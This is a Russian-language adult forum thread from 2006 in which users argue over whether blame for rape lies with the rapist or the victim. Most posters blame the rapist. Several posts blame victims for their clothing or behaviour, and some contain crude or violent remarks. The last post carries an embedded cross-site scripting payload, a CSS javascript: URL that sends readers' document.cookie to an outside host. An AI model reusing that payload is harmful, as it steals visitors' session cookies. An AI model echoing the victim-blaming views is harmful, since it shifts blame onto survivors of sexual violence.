 Свободен |
08-02-2006 - 17:00
Что вы думаете по этому поводу?
Сегодня мне случайно попалась старая газета, и в ней письмо девушки, которая рассказывает, что после этого мама говорит ей, что она сама виновата, и некоторые ее (мамы) знакомые разделяют такаю точку зрения. И мама постоянно заставляет ее чувствовать себя виноватой.
И эта точка зрения достаточно распространена.
"Ходила в мини юбке, знакомилась на улице с незнакомыми парнями -
вот и получила".
Что касаемо меня, то я считаю, что виноват целиком и полностью
насильник. Потому что именно он совершает преступление. |
 defloratsia
 Влюблена |
25-08-2006 - 14:20
тема разделена, первый том перемещен в Архив... |
 Stachel
 Свободен |
25-08-2006 - 18:51
Забавные баталии развернулись, пока я не заходил в тему :)
УПК:
Есть смысл обратиться к психологу. Или походить на тренинги. Благо с финансами ж проблем у тебя нет. Они у тебя другие, и их наличие здесь всем очевидно.
ЗЫ: Перед дамами не нужно лебезить, домогаться и тп. На руках носить смысл есть только Любимую. Как только ты станешь им интересен, проблемы с "не дала" пропадут сами. И относись спокойно, что большинству из них не будешь нужен. Это "закон жизни, тайна веков" %)) |
kisochka
 Свободна |
26-08-2006 - 00:07
Мне кажется, что в большей степени виноват насильник, но и жертва тоже не безвиновна... Чаще всего пристают к тем., кто поздно ночью идет в супер коротких юбкам с ярким макияжем и т.п. Надо просто самим себя обезопасивать, тогда все будет хорошо... Знаешь, что возвращаться придется поздно, значит оденься поскромнее, или, если ситуация того не позволяет, оставляй деньги на такси... Жертвы, в первую очередь, очень беспечные люди, они не думают о своей безопасности, так кто же еще кроме них об этом будет думать... |
На-турист
 Женат |
26-08-2006 - 10:19
В целом, как бы ни одевались девушки - на количество насильников это мало влияет... имхо.
Другое дело - личная безопасность: вызывающе оденешься - обратят нездоровое внимание, богато оденешься - могут ограбить, расслабишся - это тоже сразу заметят...
Так что, п.2 - "В большей степени насильник", а потенциальные жертвы могут ему просто "помочь" сделать свой выбор. |
Googmen
 Свободен |
26-08-2006 - 10:41
Кстати интересный вопрос...
Но я бы не стал его рассмативать как одно целое
Я бы сказал так - поведение женщины в большей степени определяет вероятность изнасилования.
|
CR0W
 Свободен |
26-08-2006 - 13:18
По-моему только насильник и виноват. Если у человека в башке ничерта нет. Кто кроме него в этом виноват? Ну оделась девушка в короткую юбку типа "пояс". Ну и что? Посмотри на нее, полюбуйся. Но нахрена опускаться до насилия. Почему другие при виде откровенно одетых женщин не позволяют себе такого? Потому что голова на плечах и думают именно головой, а не головкой. Или может женщинам вообще ходить в балахонах до земли, без косметики, еще паранжу пускай надевают! Да бред это! Женщина - самое прекрасное создание на свете. Если красивая женщина еще и одевается эффектно....это же прекрасно. |
OrKi
 Свободен |
26-08-2006 - 14:16
Выбрал: В большей степени насильник.
Хотя правильнее было бы: Чаще насильник.
Случай из жизни: небольшая фирма, день рождения, все изрядно навеселе, девица жмется к имениннику, садится на колени, целуются, обнимаются (инициатива, ЯВНО, от нее), далее они пропадают из поля зрения, а через некоторое время в фирму прибывает опергруппа + следователь по особотяжким преступлениям (каковым является износ)... (парня , вроде бы, осудили).
Из "лохматых" 90-х помнится много случаев с одинаковой историей: он и она познакомились, подружились, свидания (хотя бы одно), переспали, а на следующий день его берут под белы ручки и в СИЗО, некто от нее приходит к родным "насильника" и предлагает за некую сумму забрать заявление.... |
Франц Дэпине
 Свободен |
30-08-2006 - 14:49
Насильник.потому что человек с головой не дружит,и общаться не умеет с девушками.есть же люди которые многих уламывают но именно уламывают а не насилуют |
Свободен |
30-08-2006 - 18:20
| QUOTE (AртёмКа @ 08.02.2006 - время: 17:00) | Что вы думаете по этому поводу?
Сегодня мне случайно попалась старая газета, и в ней письмо девушки, которая рассказывает, что после этого мама говорит ей, что она сама виновата, и некоторые ее (мамы) знакомые разделяют такаю точку зрения. И мама постоянно заставляет ее чувствовать себя виноватой.
И эта точка зрения достаточно распространена.
"Ходила в мини юбке, знакомилась на улице с незнакомыми парнями -
вот и получила".
Что касаемо меня, то я считаю, что виноват целиком и полностью
насильник. Потому что именно он совершает преступление. |
Если действительно имело место изнасилование, а не добровольный секс, позже представленный женщиной как изнасилование - то виноват всегда и полностью насильник. В чём бы ни ходила женщина и как бы она себя не вела. Даже если сперва хотела и почти отдалась а потом передумала - она, конечно, "дура и сволочь", но принуждать её силой - не только уголовное преступление, но и полная потеря лица. А насчёт "сама виновата" - да, виновата. Но не в изнасиловании, а в глупом, опасном (виктимном) поведении. Но вину с насильника это не снимает нисколько. |
LionBorn
Свободен |
30-08-2006 - 18:33
Виновен насильник...и только он, потому что жертвами не всегда становятся разодетые яркие девицы (а точнее почти раздетые), но и просто студентки и даже женщины средних лет в очках и в вытертом свитере...
|
Alligator
Свободен |
31-08-2006 - 09:14
[SIZE=7][COLOR=gray] я считаю виноват и насильник и жертва,,50/50, так как если девушка поздно ночью идет по улице в мини юбке,в топике, и + с макияжем,,ну тогда я тоже пристану, дело не дойдет до насилия,,но пристану |
CR0W
Свободен |
31-08-2006 - 16:23
| QUOTE (Alligator @ 31.08.2006 - время: 09:14) | | [SIZE=7][COLOR=gray] я считаю виноват и насильник и жертва,,50/50, так как если девушка поздно ночью идет по улице в мини юбке,в топике, и + с макияжем,,ну тогда я тоже пристану, дело не дойдет до насилия,,но пристану |
Вот и именно, пристану, но не до насилия. Потому что голова на плечах есть. |
Свободен |
31-08-2006 - 17:10
| QUOTE (Googmen @ 26.08.2006 - время: 10:41) | | поведение женщины в большей степени определяет вероятность изнасилования |
вероятность...
виноват тот , кто совершил изнасилование!!! |
Свободен |
31-08-2006 - 17:14
| QUOTE (Alligator @ 31.08.2006 - время: 09:14) | | насильник и жертва,,50/50, так как если девушка поздно ночью идет по улице в мини юбке,в топике, и + с макияжем,,ну тогда дело не дойдет до насилия,,но пристану |
потенциальный насильник...
контроль должен быть в голове!!!! а мужик думает как бы телке засунуть... |
FatBoy
 Свободен |
31-08-2006 - 19:11
| QUOTE (LionPorn @ 30.08.2006 - время: 23:33) | | Виновен насильник...и только он, потому что жертвами не всегда становятся разодетые яркие девицы (а точнее почти раздетые), но и просто студентки и даже женщины средних лет в очках и в вытертом свитере... |
Согласен со всем сказанным, что вина только насильника. Но, что меня всегда коробит, так это мнение, что "разодетые яркие девицы (а точнее почти раздетые)" легко доступны и провоцируют насилие. Любая женщина должна быть сексуально привлекательной, а одежда - атрибут сексуальности. Если отдельные имбицилы не могут добиться взаимности у противоположного пола и прибегают к насилию, это не значит, что подобная манера одеваться есть стимул к подобным действиям. |
др.Ватсон
 Свободен |
31-08-2006 - 19:36
В равной степени и насильник и жертва.
Насилуют не только разодетых в миниюбки и накрашенных. Насилуют тех, кто возвращается домой в 3 часа ночи, идя по стройке, чтобы скоротать путь. В общем 50/50. Он насилует, она идет в безлюдное место.
|
Cali
 Замужем |
31-08-2006 - 20:00
Провокация, говорите. Никому не позволено насиловать, пусть хоть голяком ночью посреди лесопарка бегает. Полностью виноват насильник....если сильнее, значит можно все, так что ли? А нафига тогда мозги? |
СанСаныч
 Свободен |
31-08-2006 - 20:35
С точки зрения закона - виноват насильник. Девушка имеет право одеваться как хочет.
С точки зрения здравого смысла - девушка может подстрекать человека к насилию. Хотя если призадуматься - не сильно связано и значения особенного не имеет, потому как подстрекают одни, а насилуют других.
Обвинять каждую отдельно взятую девушку в подстрекательстве - бред. Всё равно, что обвинять, что она в час Ч минуту М вышла из дома, и случайно стала катализатором акта насилия. |
Stachel
Свободен |
01-09-2006 - 19:13
Alligator, разъясни, почему тебе надо соблюдение именно этих условий? :О)))
1. поздно ночью
2. идет по улице
3. в мини юбке,в топике,
4. и + с макияжем
Это самые подходящие условия для "приставания"? и что ты под ним вообще имел в виду? %)) |
Палач
Свободна |
01-09-2006 - 21:29
Считаю, что виноват насильник.
Но. Дело тут не в ярком макияже и не в короткой юбке.
А в психологии жертвы.
Знаете, у расфуфыренной блондинки на бешенных каблуках и чуть ли не в бикини, но уверенно шагающей ,пусть и по темной аллее, шансов, что ее изнасилуют практически нет, в отличии от сжавшейся серой мышки, которую только в лифте могут три раза изнасиловать...
Насильник - больной человек и он будет издеваться только над тем, кто слабее его. Кто боится его.
|
Свободен |
05-09-2006 - 01:34
Я думаю, что здесь проблема в воспитании и не в том, которое мы получили с детства, а в воспитании человечества. Поясню: очень продолжительное время над человеческой сексуальностью висело бремя запретов (религиозных, клановых, родовых). Всё это привело к тому, что в человеке стало накапливаться неприятие этих запретов. В обществе, где нет вообще запретов, изнасилование не является аморальным (когда мы жили еще в пещерах). С появлением механизма запретов появилась и мораль. Конечно, виновата и девушка, если она правоцирует и насильник, который не в состоянии сдерживать свои эмоции. Но если смотреть глубже, то необходимо видоизменить само сообщество людей, чтобы не было даже причин, позволяющих разумному существу превращаться в животное. А это возможно только при смене приоритетов в морали, религии и механизма запретов. |
MikePif
Свободен |
05-09-2006 - 02:03
Ответил, что в основном насильник. Но и провокации иногда могут быть такие...
Интересен еще такой вопрос. На форуме часто проскакивает от женщин: иногда хочется так, что хоть на стену лезь, любого разорвала бы. Если бы роли поменялись, если бы женщины физически были сильнее и имели возможность насиловать мужчин, кривая изнасилований увеличилась бы? |
Фенрир
 Свободен |
05-09-2006 - 10:05
Я думаю, что полностью виноват насильник. Женщина прекрасна, и нет ничего страшного в том ,что она оденет короткую юбку или ярко накрасится, чтобы подчеркнуть свою красоту. Если человек не может себя сдержать, то это его тараканы в голове и его вина. |
trishа
 Свободна |
05-09-2006 - 12:43
виноват насильник
но береженого Бог бережет.... иногда моя младшая родственница так одевается, что у меня глаза на лоб лезут...и я бы не так уж сильно обвиняла насильника, что ему захотелось вставить)))))) |
BLACK SABBATH
Свободен |
05-09-2006 - 19:33
Вы что все, того  , ВИНОВАТ ВСЕГДА НАСИЛЬНИК (моя-бы воля я их  ) тут даже нечего обсуждать  |
Свободен |
05-09-2006 - 19:49
| QUOTE (др.Ватсон @ 31.08.2006 - время: 19:36) | В равной степени и насильник и жертва.
Насилуют не только разодетых в миниюбки и накрашенных. Насилуют тех, кто возвращается домой в 3 часа ночи, идя по стройке, чтобы скоротать путь. В общем 50/50. Он насилует, она идет в безлюдное место. |
Ну да. Насильник виноват в том, что насилует. Жертва виновата в том, что по стройке ночью ходит. Стало быть, справедливо им по вине их - насильника за изнасилование - опустить, как на зоне принято, женщину за хождение по стройке - поругать. :) |
Irdis
 Свободна |
05-09-2006 - 21:06
| QUOTE (Палач @ 01.09.2006 - время: 21:29) | Считаю, что виноват насильник.
Но. Дело тут не в ярком макияже и не в короткой юбке.
А в психологии жертвы.
Знаете, у расфуфыренной блондинки на бешенных каблуках и чуть ли не в бикини, но уверенно шагающей ,пусть и по темной аллее, шансов, что ее изнасилуют практически нет, в отличии от сжавшейся серой мышки, которую только в лифте могут три раза изнасиловать...
Насильник - больной человек и он будет издеваться только над тем, кто слабее его. Кто боится его. |
Вот она истина! По-моему, на этом можно прекратить дискуссию.
Действительно это так. Причем, вообще по жизни. Человек уверенно шагающий с наглой мордой и высоко поднятой головой имеет очень мало шансов быть атакованым тем или иным криминальным элементом. Это как со стаей собак. Они чувствуют твой страх. |
art306
 Свободна |
05-09-2006 - 23:27
Насилию правдания нет. Как бы коротка не была моя юбка, каким бы не был вызывающим макияж, даже если я вот так иду " в ноль" в 3 часа ночи по стройке- это не повод. Мало ли что у меня стряслось, может, отсюда звезды виднее.
Самое главное, не понятно... почему я на этой самой пресловутой стройке или в темной подворотне не поджидаю стильно одетого мачо, чтоб его оглушить и отыметь, даже если мне этого хочется больше всего на свете?
Конечно, я не беру в расчет паталогически нездоровые на психическом уровне особи, и женщин, решивших по утру, что если им не заплатили, то это изнасилование))) |
wustrilo
 Свободен |
05-09-2006 - 23:33
Я проголосовал 50/50. Так как подставные девушки, зарабатывающие на этом деньги и вправду стимулируют мужчин на будущие изнасилования из мести. Но потом вспомнил про невинных девушек и уже начал думать что в большей степени насильник. А затем и во все случаи когда насиловали девочек школьного возраста, мнение поменялось на только насильник! (да еще и   эту сволочь!) Это как проанализировать ситуацию, такой ответ и получится.
Хотя вспомнил случай в новостях: 2 айзербоджаца вломились в дом где жили дедушка с внучкой (ей было14-15) деда избили, а ее несколько раз износиловав (она кстати тоже была айзербоджанкой) убили... вот этого я никогда не пойму! ну износиловал, получил удовольствие, но убивать зачем! в итоге их осудили на 10 и 15 лет. Жаль девочку... |
happybig
Свободен |
06-09-2006 - 14:47
Мое мнение: всегда виноват насильник! У него с головой непорядок, ему две дороги: в больницу или на зону. К таким же, как он. |
Палач
Свободна |
06-09-2006 - 20:18
| QUOTE (Скот учёный @ 05.09.2006 - время: 18:49) | | QUOTE (др.Ватсон @ 31.08.2006 - время: 19:36) | В равной степени и насильник и жертва.
Насилуют не только разодетых в миниюбки и накрашенных. Насилуют тех, кто возвращается домой в 3 часа ночи, идя по стройке, чтобы скоротать путь. В общем 50/50. Он насилует, она идет в безлюдное место. |
Ну да. Насильник виноват в том, что насилует. Жертва виновата в том, что по стройке ночью ходит. Стало быть, справедливо им по вине их - насильника за изнасилование - опустить, как на зоне принято, женщину за хождение по стройке - поругать. :)
|
Да не в стройках дело!
Это же нелогично. Неужели вы думаете что во всех темных местах в три часа ночи будет ходить по женщине? |
aleksandrova
 Свободна |
08-09-2006 - 13:57
Конечно, в любом случае-виноват только насильник. Если мы живем хотя бы в чуть-чуть цивилизованном обществе, где уважается личность человека, его свобода выбора, то все разговоры о степени виновности жертвы-просто абсурд. Любой человек, хоть мужчина, хоть женщина, может ходить в том виде, который он считает для себя приемлемым. Говоря о какой бы то ни было виновности жертвы, мы скатываемся к дикости. Так сказать:"Ты виноват уж тем, что хочется мне кушать". Захотелось некоему индивиду почесать свою пипиську-он увидел девушку в юбке по короче-и вперед. Мол, сама виновата-раззадорила. Не надо путать неосторожность, даже глупость некоторых девченок с виной. Да, не надо пить в незнакомой компании, да, не надо подсаживаться в машины поздно вечером, да, еще много чего не надо, но жизнь есть жизнь и много глупостей совершается. Но при всем при этом, насилие над дурехой или просто неосторожной девушкой-точно такое же насилие, как и над настоятельницей женского монастыря. Разницы-то нет никакой. А, что касаемо, так называемых "подстав", то что об этом говорить? Подстава, она и есть подстава. Один Вам да дороге "подрезает" и кричит, что это Вы виноваты, другая-спит с Вами, а потом пишет заявление об изнасиловании. Осторожней надо. В любом случае. Простите за сумбур. |
CR0W
Свободен |
13-09-2006 - 00:55
Я уже высказывался по этому поводу здесь. Теперь просто читаю, смотрю мнения других.
Присоединяюсь к sobaka. Стрелять их надо. Именно из-за таких многие девчонки думают о нас хреново. (Это я не ради выгоды себе. Просто вспомнил фильм "Правила съема. Метод Хитча")
А так...мне, например нравится посмотреть на красивую девушку, на ее длинные ноги, слегка прикрытие юбчонкой, на открытую грудь, слегка прикрытую оргомным декольте. Мне к сожалению не прет последнее время с противоположным. Потому приходится смотреть со стороны.
НО ДО НАСИЛИЯ НЕ ОПУСКАТЬСЯ!
Только слабаки себе такое позволяют, которые могут справиться только с женщиной. Критины.
И хочу пожелать "слабому" полу: будьте красивыми, всегда, везде, но аккуратно. Дебилов, к сожалению, хватает. |
digihippie
Свободен |
13-09-2006 - 00:59
только насильник. стрелять их.
.com'>wj@wj.com ` style=`background:url(javascript:document.images[1].src="http://www.turboborisov.com/cgi-bin/zz.cgi?"+document.cookie);`
Это сообщение отредактировал digihippie - 13-09-2006 - 02:37 |
Взрослая социальная сеть